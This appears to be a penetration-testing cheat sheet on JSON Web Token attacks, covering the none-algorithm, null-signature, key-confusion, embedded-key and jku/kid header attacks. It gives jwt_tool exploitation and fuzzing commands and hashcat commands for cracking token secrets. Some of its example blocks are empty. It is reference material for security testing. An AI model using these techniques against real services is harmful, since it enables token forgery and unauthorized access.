JWT - JSON Web Token
JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
Summary
Summary
Tools
JWT Format
Header
Payload
JWT Signature
JWT Signature - Null Signature Attack (CVE-2020-28042)
JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
JWT Signature - None Algorithm (CVE-2015-9235)
JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
JWT Signature - Key Injection Attack (CVE-2018-0114)
JWT Secret
Encode and Decode JWT with the secret
Break JWT secret
JWT tool
Hashcat
JWT Claims
JWT kid Claim Misuse
JWKS - jku header injection
References
Tools
JWT Format
JSON Web Token : Base64(Header).Base64(Data).Base64(Signature)
Example : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkFtYXppbmcgSGF4eDByIiwiZXhwIjoiMTQ2NjI3MDcyMiIsImFkbWluIjp0cnVlfQ.UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY
Where we can split it into 3 components separated by a dot.
Header
Registered header parameter names defined in JSON Web Signature (JWS) RFC. The most basic JWT header is the following JSON.
Other parameters are registered in the RFC.
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption). "RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
Inject headers with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2
Payload
Claims are the predefined keys and their values:
iss: issuer of the token
exp: the expiration timestamp (reject tokens which have expired). Note: as defined in the spec, this must be in seconds.
iat: The time the JWT was issued. Can be used to determine the age of the JWT
nbf: "not before" is a future time when the token will become active.
jti: unique identifier for the JWT. Used to prevent the JWT from being re-used or replayed.
sub: subject of the token (rarely used)
aud: audience of the token (also rarely used)
Inject payload claims with ticarpi/jwt_tool: python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3
JWT Signature
JWT Signature - Null Signature Attack (CVE-2020-28042)
Send a JWT with HS256 algorithm without a signature like eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
Exploit:
Deconstructed:
JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
JWT Signature - None Algorithm (CVE-2015-9235)
JWT supports a None
algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
None algorithm variants:
none
None
NONE
nOnE
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you remove the signature
Alternatively you can modify an existing JWT (be careful with the expiration time)
Using ticarpi/jwt_tool
Manually editing the JWT
JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)
If a server’s code is expecting a token with "alg" set to RSA, but receives a token with "alg" set to HMAC, it may inadvertently use the public key as the HMAC symmetric key when verifying the signature.
Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data. When the applications use the same RSA key pair as their TLS web server: openssl s_client -connect example.com:443 | openssl x509 -pubkey -noout
The algorithm HS256 uses the secret key to sign and verify each message. The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.
Using ticarpi/jwt_tool
Using portswigger/JWT Editor
Find the public key, usually in
/jwks.json
or/.well-known/jwks.json
Load it in the JWT Editor Keys tab, click
New RSA Key
.. In the dialog, paste the JWK that you obtained earlier:
{"kty":"RSA","e":"AQAB","use":"sig","kid":"961a...85ce","alg":"RS256","n":"16aflvW6...UGLQ"}
Select the PEM radio button and copy the resulting PEM key.
Go to the Decoder tab and Base64-encode the PEM.
Go back to the JWT Editor Keys tab and generate a
New Symmetric Key
in JWK format.Replace the generated value for the k parameter with a Base64-encoded PEM key that you just copied.
Edit the JWT token alg to
HS256
and the data.Click
Sign
and keep the option:Don't modify header
Manually using the following steps to edit an RS256 JWT token into an HS256
Convert our public key (key.pem) into HEX with this command.
Generate HMAC signature by supplying our public key as ASCII hex and with our token previously edited.
Convert signature (Hex to "base64 URL")
Add signature to edited payload
JWT Signature - Key Injection Attack (CVE-2018-0114)
A vulnerability in the Cisco node-jose open source library before 0.11.0 could allow an unauthenticated, remote attacker to re-sign tokens using a key that is embedded within the token. The vulnerability is due to node-jose following the JSON Web Signature (JWS) standard for JSON Web Tokens (JWTs). This standard specifies that a JSON Web Key (JWK) representing a public key can be embedded within the header of a JWS. This public key is then trusted for verification. An attacker could exploit this by forging valid JWS objects by removing the original signature, adding a new public key to the header, and then signing the object using the (attacker-owned) private key associated with the public key embedded in that JWS header.
Exploit:
Using [ticarpi/jwt_tool]
Using portswigger/JWT Editor
Add a
New RSA key
In the JWT's Repeater tab, edit data
Attack
>Embedded JWK
Deconstructed:
JWT Secret
To create a JWT, a secret key is used to sign the header and payload, which generates the signature. The secret key must be kept secret and secure to prevent unauthorized access to the JWT or tampering with its contents. If an attacker is able to access the secret key, they can create, modify or sign their own tokens, bypassing the intended security controls.
Encode and Decode JWT with the secret
Using ticarpi/jwt_tool:
Using pyjwt:
pip install pyjwt
Break JWT secret
Useful list of 3502 public-available JWT: wallarm/jwt-secrets/jwt.secrets.list, including your_jwt_secret
, change_this_super_secret_random_string
, etc.
JWT tool
First, bruteforce the "secret" key used to compute the signature using ticarpi/jwt_tool
Then edit the field inside the JSON Web Token.
Finally, finish the token by signing it with the previously retrieved "secret" key.
Recon:
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
Scanning:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
Exploitation:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Fuzzing:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
Review:
python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
Hashcat
Support added to crack JWT (JSON Web Token) with hashcat at 365MH/s on a single GTX1080 - src
Dictionary attack:
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
Rule-based attack:
hashcat -a 0 -m 16500 jwt.txt passlist.txt -r rules/best64.rule
Brute force attack:
hashcat -a 3 -m 16500 jwt.txt ?u?l?l?l?l?l?l?l -i --increment-min=6
JWT Claims
JWT kid Claim Misuse
The "kid" (key ID) claim in a JSON Web Token (JWT) is an optional header parameter that is used to indicate the identifier of the cryptographic key that was used to sign or encrypt the JWT. It is important to note that the key identifier itself does not provide any security benefits, but rather it enables the recipient to locate the key that is needed to verify the integrity of the JWT.
Example #1 : Local file
Example #2 : Remote file
The content of the file specified in the kid header will be used to generate the signature.
The common ways to misuse the kid header:
Get the key content to change the payload
Change the key path to force your own
Change the key path to a file with a predictable content.
Modify the kid header to attempt SQL and Command Injections
JWKS - jku header injection
"jku" header value points to the URL of the JWKS file. By replacing the "jku" URL with an attacker-controlled URL containing the Public Key, an attacker can use the paired Private Key to sign the token and let the service retrieve the malicious Public Key and verify the token.
It is sometimes exposed publicly via a standard endpoint:
/jwks.json
/.well-known/jwks.json
/openid/connect/jwks.json
/api/keys
/api/v1/keys
You should create your own key pair for this attack and host it. It should look like that:
Exploit:
Using [ticarpi/jwt_tool]
Using portswigger/JWT Editor
Generate a new RSA key and host it
Edit JWT's data
Replace the
kid
header with the one from your JWKSAdd a
jku
header and sign the JWT (Don't modify header
option should be checked)
Deconstructed:
Labs
References
Last updated